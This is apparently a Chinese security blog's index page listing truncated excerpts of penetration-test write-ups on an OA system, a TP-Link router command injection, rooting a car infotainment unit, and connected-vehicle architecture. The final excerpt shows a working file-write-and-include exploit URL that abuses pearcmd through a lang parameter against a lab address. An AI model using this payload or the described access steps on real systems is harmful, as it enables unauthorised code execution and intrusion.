Hack All Sec 的博客

信息收集阶段通过Fofa找到了一个OA系统，指纹识别了一下发现是信呼OA。查看IP发现在野生云上。PHP Study Nginx解析漏洞以前没见过这个OA系统，简单手测了下发现没有WAF，那还等什么，直接上nuclei和Xray，只检测到phpstudy-nginx解析漏洞，验证了一下，漏洞确实存在。用户名枚举漏洞但是试了下信呼OA历史漏洞没一个能成功，好像都修复了。简单尝试登录逻辑发现存在用户名

- 阅读全文 -

漏洞简介Tenable 的研究人员在 TP-Link Archer AX21 （AX1800） 的 Web 管理界面中发现了未经身份验证的命令注入。在默认配置中，此接口只能通过 LAN（而不是 WAN）访问。漏洞分析（失败）固件下载：https://www.tp-link.com/us/support/download/archer-ax21/v3/#Firmware解压缩获得固件包，如图：本想使

- 阅读全文 -

很久之前尝试对某安汽车的车机系统进行渗透测试，但是却卡在入口无法进入，尝试暴力破解但是字典不够强大，没能成功。前段时间看到了绿盟科技博客的《新型车机，如何攻防？》感觉有点熟悉，再次探索发现可以获得车机系统root权限，遂事后诸葛亮一波，就当是学习笔记了。通过在论坛、QQ群、贴吧收集到这款车型进入工程模式的方法，在拨号键盘输入##888，然后点击拨号，如图：进入密码认证界面，输入收集到的密码：369

- 阅读全文 -

1.车联网网络架构简介车联网的网络架构通常包括四层，分别是感知层、传输层、平台层和应用层。感知层是车联网的最底层，也是最靠近车辆的一层。它包括车辆上的各种传感器和执行器，例如GPS定位器、车载通信模块、摄像头、雷达、惯性传感器、轮速传感器等等，这些设备可以收集车辆的状态信息、位置信息等数据。 传输层是车联网的数据传输层，负责将感知层收集到的数据传输到平台层进行处理。传输层一般使用无线网络进行通信，

- 阅读全文 -

Exp# 写文件 http://172.17.0.2/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php # 包含文件 http://172.17.0.2/public/index.p

- 阅读全文 -